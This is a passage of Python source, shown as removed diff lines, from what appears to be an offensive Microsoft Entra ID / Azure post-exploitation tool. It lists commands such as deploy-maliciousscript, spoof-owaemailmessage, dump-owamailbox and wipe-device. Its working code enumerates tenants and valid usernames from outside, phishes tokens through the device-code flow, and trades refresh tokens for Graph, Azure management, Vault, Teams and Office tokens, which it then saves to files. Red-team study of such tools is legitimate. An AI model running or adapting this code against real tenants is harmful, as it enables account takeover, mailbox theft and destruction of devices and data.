- parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript)")
- args = parser.parse_args()
-
- if len(sys.argv) == 1:
- parser.print_help()
- sys.exit()
-
- available_commands = [
- "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken",
- "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken",
- "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken",
- "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollment",
- "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken",
- "new-signedjwt", "get-currentuser", "get-currentuseractivity", "get-orginfo", "get-domains", "get-user", "get-userproperties",
- "get-usergroupmembership", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-approleassignments",
- "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy",
- "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants",
- "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks",
- "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot",
- "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams",
- "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls",
- "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups",
- "find-object", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application",
- "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage",
- "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device",
- "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies",
- "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings",
- "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations",
- "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent",
- "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules",
- "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules",
- "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "add-applicationpermission"
-]
-
-
- properties = [
- "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans",
- "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor",
- "country", "createdDateTime", "department", "displayName", "employeeId",
- "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests",
- "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification",
- "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone",
- "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName",
- "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier",
- "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName",
- "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation",
- "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities",
- "schools", "showInAddressList", "skills", "state", "streetAddress",
- "surname", "usageLocation", "userPrincipalName", "userType", "webUrl"
- ]
-
- roles = [
- {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."},
- {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."},
- {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."},
- {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."},
- {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."},
- {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."},
- {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."},
- {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."},
- {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."},
- {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."},
- {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."},
- {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."},
- {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."},
- {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."},
- {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."},
- {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."},
- {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."},
- {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."},
- {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."},
- {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."},
- {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."},
- {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."},
- {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."},
- {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."},
- {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."},
- {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."},
- {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."},
- {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."}
- ]
-
- if args.list_commands:
- list_commands()
- return
-
- if args.command and args.command.lower() in [
- "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken",
- "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken",
- "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken",
- "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken",
- "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken",
- "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user",
- "get-userproperties", "get-usergroupmembership", "get-usertransitivegroupmembership", "get-group",
- "get-groupmember", "get-approleassignments", "get-conditionalaccesspolicy", "get-personalcontacts",
- "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages",
- "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants",
- "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser",
- "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles",
- "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts",
- "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections",
- "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats",
- "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls",
- "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers",
- "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "find-object", "update-userpassword", "add-applicationpassword",
- "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser",
- "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage",
- "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device",
- "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary",
- "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings",
- "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations",
- "get-devicegrouppolicydefinition", "dump-devicemanagementscripts",
- "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules",
- "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules",
- "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules",
- "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission"]:
- if not args.token:
- print_red(f"[-] Error: --token is required for command")
- return
-
- access_token = get_access_token(args.token)
-
- elif args.command and args.command.lower() not in available_commands:
- print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands")
-
-
- ############
- # Outsider #
- ############
-
- # invoke-reconasoutsider
- elif args.command and args.command.lower() == "invoke-reconasoutsider":
- if not args.domain:
- print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command")
- return
-
- print_yellow("\n[*] Invoke-ReconAsOutsider")
- print("=" * 80)
- domain = args.domain
-
- # get tenant id
- tenant_id = ""
- try:
- response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration")
- if response.status_code == 200:
- tenant_id = response.json().get('token_endpoint', '').split('/')[3]
- except:
- print_red("[-] Failed to retrieve tenant ID")
-
- if not tenant_id:
- print_red(f"[-] Domain {domain} is not registered to Azure AD")
- print("=" * 80)
- return
-
- tenant_name = ""
- tenant_brand = ""
- tenant_region = ""
- tenant_sso = ""
-
- # tenant info
- try:
- response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration")
- if response.status_code == 200:
- data = response.json()
- tenant_region = data.get('tenant_region_scope', "Unknown")
- except:
- print_red("[-] Failed to retrieve tenant info")
-
-
- additional_domains = get_tenant_domains(domain)
- additional_domains_count = len(additional_domains)
- print(f"Domains: {additional_domains_count}")
- domain_information = []
-
- # show progress bar
- custom_bar = '╢{bar:50}╟'
- for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'):
- if domain.lower().endswith('.onmicrosoft.com') and not tenant_name:
- tenant_name = domain
-
- # desktop sso
- if not tenant_sso:
- try:
- url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}"
- response = requests.get(url)
- tenant_sso = response.status_code == 401
- except:
- pass
-
- # DNS checks
- exists = False
- has_cloud_mx = False
- has_cloud_spf = False
- has_dmarc = False
- has_cloud_dkim = False
- has_cloud_mta_sts = False
-
- try:
- dns.resolver.resolve(domain)
- exists = True
- except:
- pass
-
- if exists:
- try:
- mx_records = dns.resolver.resolve(domain, 'MX')
- has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records)
- except:
- pass
-
- try:
- txt_records = dns.resolver.resolve(domain, 'TXT')
- has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records)
- except:
- pass
-
- try:
- dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT')
- has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records)
- except:
- pass
-
- try:
- selectors = ["selector1", "selector2"]
- for selector in selectors:
- dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME')
- has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records)
- if has_cloud_dkim:
- break
- except:
- pass
-
- try:
- url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt"
- mta_sts_response = requests.get(url)
- if mta_sts_response.status_code == 200:
- mta_sts_content = mta_sts_response.text
- mta_sts_lines = mta_sts_content.split("\n")
- has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines)
- except:
- pass
-
- # federation info
- user_realm = {}
- try:
- username = f"nn@{domain}"
- response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}")
- if response.status_code == 200:
- user_realm = response.json()
- except:
- print_red("[-] Failed to retrieve user realm information") # pass
-
- if not tenant_brand:
- tenant_brand = user_realm.get("FederationBrandName", "")
-
- auth_url = user_realm.get("AuthURL")
- if auth_url:
- auth_url = auth_url.split('?')[0]
-
- domain_info = {
- "Name": domain,
- "DNS": exists,
- "MX": has_cloud_mx,
- "SPF": has_cloud_spf,
- "DMARC": has_dmarc,
- "DKIM": has_cloud_dkim,
- "MTA-STS": has_cloud_mta_sts,
- "Type": user_realm.get("NameSpaceType", "Unknown"),
- "STS": auth_url
- }
-
- domain_information.append(domain_info)
-
- print(f"Tenant brand: {tenant_brand}")
- print(f"Tenant name: {tenant_name}")
- print(f"Tenant id: {tenant_id}")
- print(f"Tenant region: {tenant_region}")
-
- if tenant_sso is not None:
- print(f"DesktopSSO enabled: {tenant_sso}")
-
- if tenant_name:
- # check MDI instance
- tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name
-
- mdi_domains = [
- f"{tenant}.atp.azure.com",
- f"{tenant}-onmicrosoft-com.atp.azure.com"
- ]
-
- tenant_mdi = None
- for mdi_domain in mdi_domains:
- try:
- dns.resolver.resolve(mdi_domain)
- tenant_mdi = mdi_domain
- break
- except dns.resolver.NXDOMAIN:
- continue
- except Exception as e:
- print(f"An error occurred while resolving {mdi_domain}: {str(e)}")
-
- if tenant_mdi:
- print(f"MDI instance: {tenant_mdi}")
- else:
- print("MDI instance: Not found")
-
- # check cloud sync
- if tenant_name:
- sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}"
- exists = None
- try:
- url = "https://login.microsoftonline.com/common/GetCredentialType"
- data = {
- "username": sync_service_account,
- "isOtherIdpSupported": True,
- "checkPhones": False,
- "isRemoteNGCSupported": True,
- "isCookieBannerShown": False,
- "isFidoSupported": True,
- "originalRequest": "",
- "country": "US",
- "forceotclogin": False,
- "isExternalFederationDisallowed": False,
- "isRemoteConnectSupported": False,
- "federationFlags": 0,
- "isSignup": False,
- "flowToken": "",
- "isAccessPassSupported": True
- }
- response = requests.post(url, json=data)
- if response.status_code == 200:
- result = response.json()
- exists = result.get('IfExistsResult', 0) == 0
- except:
- pass
-
- uses_cloud_sync = exists
- print(f"Uses cloud sync: {uses_cloud_sync}")
-
- print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS")
- print("---- --- --- ---- ----- ---- ------- ---- ---")
- for domain_info in domain_information:
- print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}")
-
- print("=" * 80)
-
- # invoke-userenumerationasoutsider
- # - only uses Normal method from Killchain.ps1
- elif args.command and args.command.lower() == "invoke-userenumerationasoutsider":
- if not args.username:
- print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command")
- return
-
- print_yellow("\n[*] Invoke-UserEnumerationAsOutsider")
- print("=" * 80)
- usernames = []
-
- if os.path.isfile(args.username):
- with open(args.username, 'r') as file:
- usernames = [line.strip() for line in file if line.strip()]
- else:
- usernames = [args.username]
-
- #print("UserName Exists")
- #print("-------- ------")
-
- for username in usernames:
- exists = None
- try:
- url = "https://login.microsoftonline.com/common/GetCredentialType"
- data = {
- "username": username,
- "isOtherIdpSupported": True,
- "checkPhones": False,
- "isRemoteNGCSupported": True,
- "isCookieBannerShown": False,
- "isFidoSupported": True,
- "originalRequest": "",
- "country": "US",
- "forceotclogin": False,
- "isExternalFederationDisallowed": False,
- "isRemoteConnectSupported": False,
- "federationFlags": 0,
- "isSignup": False,
- "flowToken": "",
- "isAccessPassSupported": True
- }
- response = requests.post(url, json=data)
- if response.status_code == 200:
- result = response.json()
- exists = result.get('IfExistsResult', 0) == 0
- except:
- pass
-
- if exists:
- print_green(f"[+] {username:<16}")# : {exists}")
- else:
- print_red(f"[-] {username:<16}")# : {exists}")
- print("=" * 80)
-
-
- ##################
- # Authentication #
- ##################
-
- # get-graphtokens
- if args.command and args.command.lower() == "get-graphtokens":
- print_yellow("\n[*] Get-GraphTokens")
- print("=" * 80)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- resource = "https://graph.microsoft.com"
- user_agent = get_user_agent(args)
-
- body = {
- "client_id": client_id,
- "resource": resource
- }
-
- headers = {
- "User-Agent": user_agent
- }
-
- device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers)
- device_code_response_content = device_code_response.content.decode()
-
- device_code = None
- message = None
- try:
- device_code_json_response = json.loads(device_code_response_content)
- device_code = device_code_json_response["device_code"]
- message = device_code_json_response["message"]
- except Exception as ex:
- print_red(f"[-] Failed to parse device code response: {ex}")
- exit()
-
- print(f"{message}\n")
-
- time.sleep(3)
-
- start_time = datetime.now()
- polling_duration = timedelta(minutes=15)
- last_authorization_pending_time = datetime.min
-
- while datetime.now() - start_time < polling_duration:
- token_body = {
- "client_id": client_id,
- "grant_type": "urn:ietf:params:oauth:grant-type:device_code",
- "code": device_code
- }
-
- token_response = requests.post("https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0", data=token_body)
- token_response_content = token_response.content.decode()
-
- if token_response.status_code == 400:
- if datetime.now() - last_authorization_pending_time >= timedelta(minutes=1):
- print("[*] authorization_pending")
- last_authorization_pending_time = datetime.now()
- time.sleep(3)
- elif not token_response.ok or "authorization_pending" in token_response_content:
- # continue polling
- time.sleep(3)
- else:
- token_json = json.loads(token_response_content)
- print_green("\n[+] Token Obtained!\n")
-
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "graph_tokens.txt"
- with open(file_path, "a") as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- exit()
-
- print_red("[-] Polling expired. Token not obtained.")
- print("=" * 80)
-
- # get-tenantid
- elif args.command and args.command.lower() == "get-tenantid":
- if not args.domain:
- print_red("[-] Error: --domain argument is required for Get-TenantID command")
- return
-
- print_yellow("\n[*] Get-TenantID")
- print("=" * 80)
- try:
- response = requests.get(f"https://login.microsoftonline.com/{args.domain}/.well-known/openid-configuration")
- response.raise_for_status()
- response_content = response.content.decode()
-
- open_id_config = json.loads(response_content)
- tenant_id = open_id_config["authorization_endpoint"].split('/')[3]
-
- print(tenant_id)
- except requests.exceptions.RequestException as ex:
- print_red(f"[-] Error retrieving OpenID configuration: {ex}")
- print("=" * 80)
-
-
- # get-tokenscope
- elif args.command and args.command.lower() == "get-tokenscope":
- print_yellow("\n[*] Get-TokenScope")
- print("=" * 80)
- try:
- json_token = jwt.decode(access_token, options={"verify_signature": False})
- scope = json_token.get("scp")
-
- if scope:
- scope_array = scope.split(' ')
-
- for s in scope_array:
- print(s)
- else:
- print_red("[-] No scopes found in the access token")
- except jwt.DecodeError:
- print_red("[-] Invalid access token format")
- print("=" * 80)
-
- # decode-accesstoken
- elif args.command and args.command.lower() == "decode-accesstoken":
- print_yellow("\n[*] Decode-AccessToken")
- print("=" * 80)
- try:
- json_token = jwt.decode(access_token, options={"verify_signature": False})
-
- for key, value in json_token.items():
- print(f"{key}: {value}")
-
- except jwt.DecodeError:
- print_red("[-] Invalid access token format")
- print("=" * 80)
-
-
- # invoke-refreshtomsgraphtoken
- elif args.command and args.command.lower() == "invoke-refreshtomsgraphtoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSGraphToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToMSGraphToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- resource = "https://graph.microsoft.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}"
-
- headers = {
- "User-Agent": user_agent
- }
-
- body = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": "openid"
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- body["claims"] = claims
-
- response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers)
-
- if response.status_code == 200:
- print_green("[+] Token Obtained!\n")
-
- token_response = response.json()
- for key, value in token_response.items():
- print(f"[*] {key}: {value}")
-
- file_path = "new_graph_tokens.txt"
- with open(file_path, "a") as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_response.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
- print_green(f"\n[+] Token information written to '{file_path}'.")
- else:
- print_red(f"[-] Failed to get Microsoft Graph token: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshttoazuremanagementtoken
- elif args.command and args.command.lower() == "invoke-refreshtoazuremanagementtoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToAzureManagementToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- resource = "https://management.azure.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}"
-
- headers = {
- "User-Agent": user_agent
- }
-
- body = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": "openid"
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- body["claims"] = claims
-
- response = requests.post(f"{auth_url}/oauth2/token?api-version=1.0", data=body, headers=headers)
-
- if response.status_code == 200:
- print_green("[+] Token Obtained!\n")
-
- token_response = response.json()
- for key, value in token_response.items():
- print(f"[*] {key}: {value}")
-
- file_path = "az_tokens.txt"
- with open(file_path, "a") as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_response.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
- print_green(f"\n[+] Token information written to '{file_path}'.")
- else:
- print_red(f"[-] Failed to get Azure Management token: {response.status_code}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtovaulttoken
- elif args.command and args.command.lower() == "invoke-refreshtovaulttoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToAzureManagementToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToVaultToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
- refresh_token = access_token
- scope = "https://vault.azure.net/.default"
- auth_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "vault_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get Azure Vault token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtomsteamstoken
- elif args.command and args.command.lower() == "invoke-refreshtomsteamstoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToMSTeamsToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToMSTeamsToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
- refresh_token = access_token
- resource = "https://api.spaces.skype.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "teams_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
- print_green(f"\n[+] Token information written to '{file_path}'.")
-
- except requests.exceptions.RequestException as e:
- print_red(f"[-] Failed to get MS Teams token: {str(e)}")
- print_red(response.text)
- print("=" * 80)
-
- # invoke-refreshtoofficeappstoken
- elif args.command and args.command.lower() == "invoke-refreshtoofficeappstoken":
- if not args.tenant:
- print_red("[-] Error: --tenant argument is required for Invoke-RefreshToOfficeAppsToken command")
- return
-
- print_yellow("\n[*] Invoke-RefreshToOfficeAppsToken")
- print("=" * 80)
- user_agent = get_user_agent(args)
- client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763"
- refresh_token = access_token
- resource = "https://officeapps.live.com/"
- auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0"
- scope = "openid"
-
- headers = {
- "User-Agent": user_agent
- }
-
- data = {
- "resource": resource,
- "client_id": client_id,
- "grant_type": "refresh_token",
- "refresh_token": refresh_token,
- "scope": scope
- }
-
- if args.use_cae:
- claims = json.dumps({
- "access_token": {
- "xms_cc": {
- "values": ["cp1"]
- }
- }
- }, separators=(',', ':'))
- data["claims"] = claims
-
- try:
- response = requests.post(auth_url, data=data, headers=headers)
- response.raise_for_status()
- print_green("[+] Token Obtained!\n")
-
- token_json = response.json()
- for key, value in token_json.items():
- print(f"[*] {key}: {value}")
-
- file_path = "officeapps_tokens.txt"
- with open(file_path, 'a') as writer:
- writer.write(f"[+] Token Obtained! ({datetime.now()})\n")
- for key, value in token_json.items():
- writer.write(f"[*] {key}: {value}\n")
- writer.write("\n")
-
